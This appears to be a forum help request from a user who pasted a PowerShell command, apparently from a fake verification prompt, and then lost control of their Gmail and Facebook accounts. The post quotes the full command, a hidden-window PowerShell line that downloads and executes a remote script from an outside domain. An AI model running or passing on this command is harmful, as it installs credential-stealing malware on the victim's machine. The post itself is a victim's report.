Problem

I'm sorry but I don't know if I made a mistake. I pasted this in terminal

powershell -w h "iex(irm 'huishuvish.cc/875ddfb8efb53a5c' -UseBasicParsing)"; exit <#Verification ID: 875ddfb8efb53a5c#>

And someone accessed my gmail and facebook. I changed all passwords. But hat I should do next. Defender finds nothing.
